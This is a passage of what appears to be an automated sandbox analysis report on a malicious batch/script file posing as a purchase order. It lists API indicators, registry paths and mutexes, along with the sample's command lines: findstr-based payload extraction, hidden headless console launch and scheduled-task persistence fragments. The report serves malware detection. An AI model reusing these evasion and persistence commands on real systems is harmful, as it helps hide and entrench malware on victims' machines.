reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00000412.00000000.122181.12362000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00000412.00000000.122181.29350000.00000004.mdmp, 00000000-00000412.00000000.122181.419A9000.00000004.mdmp") Found reference to API (Indicator: "FreeConsole"; Source: "00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000000.121766.36920000.00000004.mdmp, 00000000-00001708.00000000.121766.3698F000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleWindow"; Source: "00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000000.121766.36920000.00000004.mdmp, 00000000-00001708.00000000.121766.3698F000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000000.121766.36920000.00000004.mdmp, 00000000-00001708.00000000.121766.3698F000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001708.00000000.121766.1BF30000.00000004.mdmp, 00000000-00001708.00000000.121766.36920000.00000004.mdmp, 00000000-00001708.00000000.121766.3698F000.00000004.mdmp, 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp, 00000000-00001708.00000001.122279.3698F000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001708.00000000.121766.36350000.00000004.mdmp")2b:Ta21,Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem HRQFRTZEQZI" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-2276127364") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem HRQFRTZEQZI" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-2276127364") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem XQCYS" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-9759600882") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem XQCYS" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-9759600882") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem NRIQZEVLM" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-11987249700") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem NRIQZEVLM" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-11987249700") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem KAAREKNHXD" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-13696005130") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem KAAREKNHXD" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-13696005130") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-15404112420") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-15404112420") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem IBTMKMFJF" "C:\NewPO230824312.js.bat"" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00005420-00000C47-17650741066") Found string "%WINDIR%\system32\cmd.exe /c findstr /c:"&rem IBTMKMFJF" "C:\NewPO230824312.js.bat"" (Indicator: "cmd.exe /c"; Source: "00000000-00005420-00000C47-17650741066") Found string "%WINDIR%\System32\conhost.exe --headless -- %WINDIR%\System32\cmd.exe /c call "%LOCALAPPDATA%\Microsoft\Window" (Indicator: "\system32\cmd.exe /c "; Source: "00000000-00008040-00000BC1-964580824"), Found string "%WINDIR%\System32\conhost.exe --headless -- %WINDIR%\System32\cmd.exe /c call "%LOCALAPPDATA%\Microsoft\Window" (Indicator: "cmd.exe /c"; Source: "00000000-00008040-00000BC1-964580824")2c:Tb1f,"35145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0P" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00000412.00000000.122181.41930000.00000004.mdmp "1-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00000412.00000000.122181.419A9000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001708.00000000.121766.36350000.00000004.mdmp 00000000-00001708.00000001.122279.36350000.00000004.mdmp2d:T6a2,Process chrome.exe created mutex with name "\Sessions\1\BaseNamedObjects\DBWinMutex" Process chrome.exe created mutex with name "\Sessions\1\BaseNamedObjects\ChromeProcessSingletonStartup!" Process chrome.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7496:304:WilStaging_02" Process chrome.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7496:304:WilStaging_02" Process chrome.exe created mutex with name "Local\SM0:7496:304:WilStaging_02" Process chrome.exe created mutex with name "DBWinMutex" Process chrome.exe created mutex with name "ChromeProcessSingletonStartup!" Process chrome.exe created mutex with name "SM0:7496:304:WilStaging_02" Process chrome.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7496:120:WilError_01" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\DBWinMutex" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\ChromeProcessSingletonStartup!" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7408:304:WilStaging_02" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7408:304:WilStaging_02" Process msedge.exe created mutex with name "DBWinMutex" Process msedge.exe created mutex with name "3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD" Process msedge.exe created mutex with name "Local\SM0:7408:304:WilStaging_02" Process msedge.exe created mutex with name "SM0:7408:304:WilStaging_02" Process msedge.exe created mutex with name "ChromeProcessSingletonStartup!" Process msedge.exe created mutex with name "\Sessions\1\BaseNamedObjects\3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD"2e:T62b,Process "cmd.exe" with commandline "/c ""C:\\NewPO230824312.js.bat" "" (UID: 00000000-00005420) Process "cmd.exe" with commandline "/c findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007724) Process "findstr.exe" with commandline "findstr /c:"&rem HRQFRTZEQZI" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00003920) Process "cmd.exe" with commandline "/c findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004640) Process "findstr.exe" with commandline "findstr /c:"&rem XQCYS" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007228) Process "cmd.exe" with commandline "/c findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007260) Process "findstr.exe" with commandline "findstr /c:"&rem NRIQZEVLM" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00002260) Process "cmd.exe" with commandline "/c findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005812) Process "findstr.exe" with commandline "findstr /c:"&rem KAAREKNHXD" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00007444) Process "cmd.exe" with commandline "/c findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00006304) Process "findstr.exe" with commandline "findstr /c:"&rem LMXEWQDMDBHGLT" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00004216) Process "cmd.exe" with commandline "/c findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005152) Process "findstr.exe" with commandline "findstr /c:"&rem IBTMKMFJF" "C:\\NewPO230824312.js.bat"" (UID: 00000000-00005096)2f:Te1a,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135]30:T28b8,"35145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0P" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000412.00000000.122181.29350000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00000412.00000000.122181.41930000.00000004.mdmp "1-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00000412.00000000.122181.419A9000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00001708.00000000.121766.1BF30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001708.00000000.121766.36350000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00001708.00000000.121766.F2E18000.00000002.mdmp "HKLM\" in Source: 00000000-00001708.00000000.121766.F2E18000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00001708.00000000.121766.F2E18000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001708.00000000.121766.F2E18000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001708.00000000.121766.F2E18000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "try\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00001708.00000001.122279.1BF30000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001708.00000001.122279.36350000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001708.00000001.122279.F17FA000.00000002.mdmp "e\Software\C" in Source: 00000000-00008040.00000000.122438.317D0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008040.00000000.122438.317D0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008040.00000000.122438.317D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008040.00000000.122438.317D0000.00000004.mdmp "Software\WOW6432N" in Source: 00000000-00008040.00000000.122438.4BF20000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008040.00000000.122438.4BF20000.00000004.mdmp "\Registry\Machine\Software\C" in Source: 00000000-00008040.00000000.122438.4BF20000.00000004.mdmp "735145574-\Registry\Machine\Software\Classes\WOW6432NH" in Source: 00000000-00008040.00000000.122438.4BF20000.00000004.mdmp "e\Software\C" in Source: 00000000-00008040.00000001.124357.317D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008040.00000001.124357.317D0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{E7D35CFA-348B-485E-B524-252725D697CA}" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{4" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0000034E-0000-0000-C000-0000000000" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >U>n>r>e>g>i>s>t>e>r>->S>c>h>e>d>u>l>e>d>T>a>s>k> >->T>a>s>k>N>a>m>e> >$>_>_>t>n> >->T>a>s>k>P>a>t>h> >'>\>'> >->C>o>n>f>i>r>m>:>$>f>a>l>s>e> >->E>A> >S>i>l>e>n>t>l>y>C>o>n>t>i>n>u>e>;>$>_>_>a>=>N>e>w>->S>c>h>e>d>u>l>e>d>T>a>s>k>A>c>t>i>o> > > > >0>/>1>+> >c>o>m>p>l>e>t>e>d> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >[> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >]> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp " > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >U>n>r>e>g>i>s>t>e>r>->S>c>h>e>d>u>l>e>d>T>a>s>k> >->T>a>s>k>N>a>m>e> >$>_>_>t>n> >->T>a>s>k>P>a>t>h> >'>\>'> >->C>o>n>f>i>r>m>:>$>f>a>l>s>e> >->E>A> >S>i>l>e>n>t>l>y>C>o>n>t>i>n>u>e>;>$>_>_>a>=>N>e>w>->S>c>h>e>d>u>l>e>d>T>a>s>k>A>c>t>i>o> > > > >0>/>1>+> >c>o>m>p>l>e>t>e>d> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >[> > > > > > > > > > > > > \REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF} > > > > > >" in Source: 00000000-00008040.00000002.126276.4CD50000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00008040.00000002.126276.F32B8000.00000002.mdmp "HKLM\" in Source: 00000000-00008040.00000002.126276.F32B8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00008040.00000002.126276.F32B8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008040.00000002.126276.F32B8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 